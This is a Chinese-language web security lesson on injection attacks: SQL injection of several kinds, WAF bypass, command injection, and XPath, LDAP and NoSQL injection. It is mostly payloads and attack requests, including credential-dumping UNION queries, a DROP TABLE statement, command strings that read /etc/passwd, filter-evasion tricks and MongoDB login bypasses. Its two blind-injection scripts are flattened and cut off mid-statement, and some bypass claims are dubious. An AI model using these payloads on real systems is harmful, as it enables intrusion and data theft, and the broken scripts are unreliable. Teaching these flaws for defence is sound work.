输入验证漏洞是Web应用安全的重灾区。SQL注入、命令注入、XPath注入等,都是因为对用户输入没有充分验证导致的。这一节课,我们从实战的角度,深入理解各种注入攻击的原理、发现方法和绕过技巧。

SQL注入(SQL Injection)是指攻击者通过构造恶意的SQL语句,让应用程序执行非预期的SQL查询,从而获取、修改或删除数据库中的数据。
攻击原理:
正常的SQL查询:
|SELECT * FROM users WHERE username = 'admin' AND password = '123456'
如果用户输入没有过滤,攻击者可以输入:
|username: admin' OR '1'='1 password: anything
生成的SQL:
|SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
由于'1'='1'永远为真,这个查询会返回所有用户。
联合查询注入(Union-based SQL Injection)是最常见的SQL注入类型,通过UNION关键字合并查询结果。
攻击步骤:
判断注入点,测试单引号,如果报错,可能存在注入。测试布尔逻辑,id=1 AND 1=1正常,id=1 AND 1=2异常(如果正常说明没有注入)。
判断列数,使用ORDER BY逐个测试,id=1 ORDER BY 1正常,id=1 ORDER BY 2正常,id=1 ORDER BY 3正常,id=1 ORDER BY 4报错,说明只有3列。
判断显示位置,使用id=-1 UNION SELECT 1,2,3,看页面显示哪些数字,这些位置可以显示数据。
获取数据:
|id=-1 UNION SELECT 1,username,password FROM users
案例:
假设一个系统的搜索功能存在SQL注入:
|GET /search?keyword=test
后端SQL:
|$sql = "SELECT * FROM products WHERE name LIKE '%$keyword%'";
测试注入:
|GET /search?keyword=test' AND '1'='1
响应正常,说明可能存在注入。
继续测试:
|GET /search?keyword=test' UNION SELECT 1,2,3--
页面显示了2和3,说明第2、3列可以显示数据。
获取数据库名:
|GET /search?keyword=test' UNION SELECT 1,database(),3--
页面显示了数据库名:shop_db
获取表名:
|GET /search?keyword=test' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='shop_db'--
获取users表的数据:
|GET /search?keyword=test' UNION SELECT 1,username,password FROM users--
成功获取了所有用户的用户名和密码。
布尔盲注(Boolean-based Blind SQL Injection)是指无法直接看到查询结果,只能通过页面响应的真/假来判断。
攻击原理:
通过构造条件,观察页面响应,如果条件为真,页面正常显示,如果条件为假,页面异常或不同。
攻击步骤:
判断注入点(同联合查询)。
逐字符获取数据:
|-- 获取数据库名长度 id=1 AND LENGTH(DATABASE())=5 -- 如果页面正常,说明长度是5 -- 获取数据库名第一个字符 id=1 AND SUBSTRING(DATABASE(),1,1)='s' -- 如果页面正常,说明第一个字符是's' -- 继续获取其他字符...
案例:
假设一个登录功能存在布尔盲注:
|POST /login username=admin' AND LENGTH(DATABASE())=5--
如果数据库名长度是5,登录会成功(或返回特定错误);如果不是,会返回不同错误。
通过这种方式,可以逐字符获取数据库名、表名、数据。
常见自动化脚本:
|import requests import string def boolean_blind_injection(url, param, payload_template): """ payload_template: 如 "admin' AND SUBSTRING(DATABASE(),{pos},1)='{char}'-- " """ result = "" pos = 1 while True: found = False for char in string.printable: payload = payload_template.format(pos=pos, char=char)
时间盲注(Time-based Blind SQL Injection)是指通过时间延迟来判断条件是否为真。
攻击原理:
通过SLEEP()或BENCHMARK()函数,如果条件为真就延迟,否则不延迟:
|id=1 AND IF(1=1, SLEEP(5), 0) -- 延迟5秒 id=1 AND IF(1=2, SLEEP(5), 0) -- 不延迟
攻击步骤:
判断注入点,可以通过id=1 AND SLEEP(5)来测试,如果延迟5秒,说明存在注入。
逐字符获取数据:
|id=1 AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0) -- 如果延迟5秒,说明第一个字符是's'
案例:
假设一个系统存在时间盲注:
|GET /product?id=1 AND SLEEP(5)
响应延迟了5秒,说明存在注入。
获取数据:
|GET /product?id=1 AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0)
如果延迟5秒,说明数据库名第一个字符是's'。
自动化脚本:
|import requests import time import string def time_based_injection(url, param, payload_template): result = "" pos = 1 while True: found = False for char in string.printable: payload = payload_template.format(pos=pos, char=char) params =
报错注入(Error-based SQL Injection)是指通过触发数据库错误,让错误信息中包含敏感数据。
攻击原理:
利用数据库函数,让错误信息包含查询结果:
|-- MySQL id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e)) -- 错误信息会包含数据库名
常见函数:MySQL有EXTRACTVALUE()、UPDATEXML()、FLOOR()、EXP()等,PostgreSQL有CAST()、::text,SQL Server有CONVERT()、CAST()。
案例:
假设一个系统存在报错注入:
|GET /product?id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e))
响应错误信息:
|XPATH syntax error: '~shop_db~'
成功获取了数据库名。
堆叠注入(Stacked Queries)是指可以执行多条SQL语句。
攻击原理:
如果系统支持多条语句(用分号分隔),可以执行任意SQL:
|id=1; DROP TABLE users;--
实战案例:
假设一个系统支持堆叠注入:
|GET /product?id=1; SELECT * FROM users--
成功执行了查询users表的语句。
二次注入(Second-order SQL Injection)是指输入先被存储,后续使用时才触发注入。
攻击流程:
注册时输入admin'--,系统存储用户名存储为admin'--(可能转义了),后续查询时使用SELECT * FROM users WHERE username='admin'--',触发注入。
案例:
假设一个系统,注册时输入用户名admin'--,系统转义存储admin\'--,但在某个功能中,从数据库读取后直接使用,没有转义,触发SQL注入。
现代Web应用通常部署了WAF(Web应用防火墙),需要绕过才能成功注入。
常见绕过方法:
编码绕过,可以使用URL编码UNION%20SELECT、双重编码UNION%2520SELECT、Unicode编码U+N+I+O+N SELECT等。
注释绕过,可以添加注释UNION/**/SELECT、UNION/*!SELECT*/等。
大小写绕过,可以使用小写union select、混合大小写UnIoN SeLeCt等。
函数替换,可以用MID()、SUBSTR()替换SUBSTRING()等。
空格替换,可以用+、/**/等替换空格,比如UNION+SELECT。
案例:
假设一个系统,发现WAF拦截了UNION SELECT:
|GET /search?keyword=test' UNION SELECT 1,2,3--
被WAF拦截。
尝试注释绕过:
|GET /search?keyword=test'/**/UNION/**/SELECT/**/1,2,3--
仍然被拦截。
尝试URL编码:
|GET /search?keyword=test'%55%4E%49%4F%4E%20%53%45%4C%45%43%54%201,2,3--
上述请求会成功绕过WAF。

命令注入(Command Injection)是指攻击者通过构造恶意命令,让应用程序执行系统命令。
攻击原理:
如果应用程序直接执行用户输入作为系统命令:
|$ip = $_GET['ip']; system("ping " . $ip);
攻击者可以输入:
|127.0.0.1; cat /etc/passwd
执行的命令:
|ping 127.0.0.1; cat /etc/passwd
系统命令执行函数,PHP有system()、exec()、shell_exec()、passthru(),Python有os.system()、subprocess.call(),Java有Runtime.exec()。
功能点,常见的有Ping功能、文件上传(文件名)、日志查看、系统信息等。
不同系统的命令分隔符不同,Linux/Unix用;、&&、||、|、\n,Windows用&、&&、|、||。
假设一个系统有Ping功能:
|GET /ping?ip=127.0.0.1
后端代码:
|$ip = $_GET['ip']; system("ping -c 4 " . $ip);
测试命令注入:
|GET /ping?ip=127.0.0.1; id
成功执行了id命令。
获取文件内容:
|GET /ping?ip=127.0.0.1; cat /etc/passwd
过滤空格时,可以用${IFS}或$IFS来替代,比如cat${IFS}/etc/passwd、cat$IFS/etc/passwd。
过滤分号时,可以用&&或||来替代,比如127.0.0.1&&id、127.0.0.1||id。
过滤关键字时,可以用通配符/???/??t /???/p??swd,或者用变量a=cat;b=/etc/passwd;$a $b。

XPath注入(XPath Injection)是指攻击者通过构造恶意的XPath查询,获取XML文档中的数据。
攻击原理:
如果应用程序直接使用用户输入构造XPath查询:
|$username = $_POST['username']; $xpath = "//user[username='$username']";
攻击者可以输入:
|admin' or '1'='1
XPath查询:
|//user[username='admin' or '1'='1']
会匹配所有用户。
假设一个登录功能使用XPath:
|POST /login username=admin' or '1'='1&password=anything
成功登录,获取了所有用户数据。
LDAP注入(LDAP Injection)是指攻击者通过构造恶意的LDAP查询,获取目录服务中的数据。
攻击原理:
如果应用程序直接使用用户输入构造LDAP查询:
|$username = $_POST['username']; $filter = "(cn=$username)";
攻击者可以输入:
|admin)(|(cn=*
LDAP查询:
|(cn=admin)(|(cn=*))
会匹配所有用户。
NoSQL注入(NoSQL Injection)是指攻击者通过构造恶意的NoSQL查询,获取数据库中的数据。
攻击原理:
如果应用程序直接使用用户输入构造MongoDB查询:
|db.users.find({username: req.body.username, password: req.body.password})
攻击者可以输入:
|{ "username": {"$ne": null}, "password": {"$ne": null} }
MongoDB查询:
|db.users.find({username: {$ne: null}, password: {$ne: null}})
会匹配所有用户(只要username和password不为null)。
常见操作符:$ne不等于,$gt大于,$lt小于,$regex正则匹配,$whereJavaScript表达式。
案例:
假设一个系统,登录功能使用MongoDB:
|POST /login Content-Type: application/json { "username": {"$ne": ""}, "password": {"$ne": ""} }
上述请求会成功登录,绕过了认证。
本节我们一起系统梳理了各类输入验证相关的漏洞类型。从经典的SQL注入(如联合查询、布尔盲注、时间盲注、报错注入、堆叠注入、二次注入),到命令注入(涉及系统命令执行,利用命令分隔符和各种绕过技巧),再到XPath注入、LDAP注入、NoSQL注入(如MongoDB注入)等。这些漏洞看似五花八门,其核心都在于程序对用户输入缺乏有效校验,被攻击者趁虚而入。
了解这些注入形式,不只是为了会复现漏洞,更要培养对数据流和危险操作的敏感度,为应用防护打下坚实基础。
下一节我们将进入XSS攻击的世界。要知道,XSS和SQL注入并称Web安全领域的“两大杀手”,掌握了这两类攻击思路,你就能识别出大多数Web应用的核心漏洞。